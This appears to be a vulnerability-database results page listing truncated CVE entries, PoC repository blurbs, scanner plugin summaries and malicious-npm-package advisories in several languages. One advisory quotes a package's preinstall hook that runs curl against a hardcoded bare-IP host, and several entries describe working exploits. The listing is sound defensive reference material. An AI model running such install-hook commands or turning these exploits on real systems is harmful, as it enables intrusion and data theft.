log4j2-prosecutor

log4j2-prosecutor प्रेरणा यह मूलभूत कमजोरी CVE-2018-3149 द्वारा रिपोर्ट की गई थी और इस लेख 8u121 Release Notes द्वारा पैच की गई थी। हालाँकि, log4j2 नामक जावा की लॉगिंग लाइब्रेरी में JNDILookupCVE-2021-44228 था, जो LDAP जैसे प्रोटोकॉल तक पहुँच की अनुमति देता था, जिसने पुराने जावा संस्करणों में कोड...

CVE-2024-4367-PoC

CVE-2024-4367-PoC यह प्रूफ ऑफ कॉन्सेप्ट PoC CVE-2024-4367 भेद्यता के शोषण को प्रदर्शित करता है, जिसमें क्रॉस-साइट स्क्रिप्टिंग XSS हमले शामिल हैं। विशेषताएँ यह PoC निम्नलिखित प्रकार की जानकारी एकत्र और प्रदर्शित करता है: 1. सामान्य जानकारी: डोमेन शीर्षक वर्तमान URL रेफरर URL डोमेन से जुड़े कुकीज़...

Havoc-C2-SSRF-poc

CVE-2024-41570: Havoc-C2-SSRF-poc تُستغل هذه الثغرة بانتحال تسجيل وكيل Demon ورسائل التحقق check-ins لفتح مقبس TCP على خادم الفريق teamserver وقراءة وكتابة البيانات منه. وهذا يسمح للمهاجمين بتسريب عناوين IP الأصلية لخوادم الفريق وغير ذلك الكثير. التحليل الكامل:...

CVE-2025-5777-Exploit

أداة استغلال CVE-2025-5777 🔥 أداة تعليمية قوية مصممة لتوضيح وتحليل الثغرة الأمنية CVE-2025-5777 التي تؤثر على Citrix NetScaler VPN. هذا المشروع جزء من مبادرة GO-TO CVE. ⚠️ لأغراض تعليمية فقط. لا تستخدم هذا على الأنظمة التي لا تملكها أو ليس لديك إذن صريح لاختبارها. 📌 نبذة يحاول هذا السكريبت اكتشاف...

Malicious code in sm-oauth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 98d60527238d1284ed569a2fa7611ff2b430e1ebfab579f597f42a1eb28f49bc package.json declares preinstall and postinstall scripts that run curl -s http://16.192.173.5/sm-oauth/pre and curl -s...

MAL-2026-14397 Malicious code in sm-checkout (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0bc8dabb0ecf46dc57dd07dacdf28c9cddf629ffb8e9b0cea75e71cd999feaf0 [email protected] declares preinstall and postinstall lifecycle scripts in package.json that invoke curl against a hardcoded bare-IP URL over plain...

CVE-2026-63096

Dendrite through 0.13.8 contains a server-side request forgery vulnerability that allows unauthenticated attackers to cause the server to open outbound TLS connections to arbitrary hosts and ports by supplying an unvalidated serverName parameter to the legacy media download endpoint. Attackers ca...

CVE-2026-63096 Dendrite 0.13.8 SSRF via Unauthenticated Legacy Media Download Endpoint

Dendrite through 0.13.8 contains a server-side request forgery vulnerability that allows unauthenticated attackers to cause the server to open outbound TLS connections to arbitrary hosts and ports by supplying an unvalidated serverName parameter to the legacy media download endpoint. Attackers ca...

CVE-2026-63096

CVE-2026-63096 affects Dendrite up to version 0.13.8, which contains a server-side request forgery (SSRF) flaw in the legacy media download endpoint. An unauthenticated attacker can supply an unvalidated serverName parameter to trigger outbound TLS connections to arbitrary hosts/ports. Error mess...

MAL-2026-10233 Malicious code in sams-sr-sdk-h5 (npm)

The sams-sr-sdk-h5 package was published to the npm registry by user 'click2ai' maintainer email [email protected] as part of a dependency-confusion / reconnaissance campaign. The package name mimics the internal/private package naming convention of a target organization a 'sams' internal...

CVE-2026-33357

In Meari client applications embedding "com.meari.sdk" including CloudEdge 5.5.0 build 220, Arenti 1.8.1 build 220, and related white-label = 1.8.x, the integrated call path to openapi-euce.mearicloud.com can be abused to retrieve WAN IP data for arbitrary devices. The root cause is a server-side...

MiracleLinux 7 : kde-settings-19-23.9.el7, kde-workspace-4.11.19-13.el7, kdelibs-4.14.8-10.el7, kmag-4.10.5-4.el7, virtuoso-opensource-6.1.6-7.el7 (AXSA:2019-4210:01)

The remote MiracleLinux 7 host has packages installed that are affected by a vulnerability as referenced in the AXSA:2019-4210:01 advisory. kde-workspace: Missing sanitization of notifications allows to leak client IP address via IMG element CVE-2018-6790 Tenable has extracted the preceding...

EUVD-2024-3230

Malicious code in bioql PyPI...

Exploit for CVE-2018-3149

log4j2-exploits https://user-images.githubusercontent.com/37479424/145661983-131eb84a-9ac5-4014-9f6b-10b69d8d7cf4.mp4 This fundamental vulnerability was reported by CVE-2018-3149 and patched by this article. 8u121 Release Notes However, the logging library for java called log4j2 had JNDILookup,...

Linux Distros Unpatched Vulnerability : CVE-2018-17780

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Telegram Desktop aka tdesktop 1.3.14, and Telegram 3.3.0.0 WP8.1 on Windows, leaks end-user public and private IP addresses during a call because of an unsafe...

UBUNTU-CVE-2024-50342

symfony/http-client is a module for the Symphony PHP framework which provides powerful methods to fetch HTTP resources synchronously or asynchronously. When using the NoPrivateNetworkHttpClient, some internal information is still leaking during host resolution, which leads to possible IP/port...

HTTP Client LAN IP Address Gather

This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'HTTP Client LAN IP Address Gather', 'Description' = %q This module retrieves a browser's network interface IP addresses using WebRTC. , 'License'...

BIT-GITLAB-2020-10087

GitLab before 12.8.2 allows Information Disclosure. Badge images were not being proxied, causing mixed content warnings as well as leaking the IP address of the user...

CVE-2023-36671

An issue was discovered in the Clario VPN client through 5.9.1.1662 for macOS. The VPN client insecurely configures the operating system such that all IP traffic to the VPN server's IP address is sent in plaintext outside the VPN tunnel even if this traffic is not generated by the VPN client. Thi...

MediaWiki < 1.23.16 Wiki Visitor IP Leakage

According to its self-reported version number, the instance of MediaWiki hosted on the remote web server is prior to 1.23.16, 1.24.x prior to 1.27.2 or 1.28.x prior to 1.28.1 . It is, therefore, affected by a flaw which may allow remote attackers to discover the IP addresses of Wiki Visitors via ...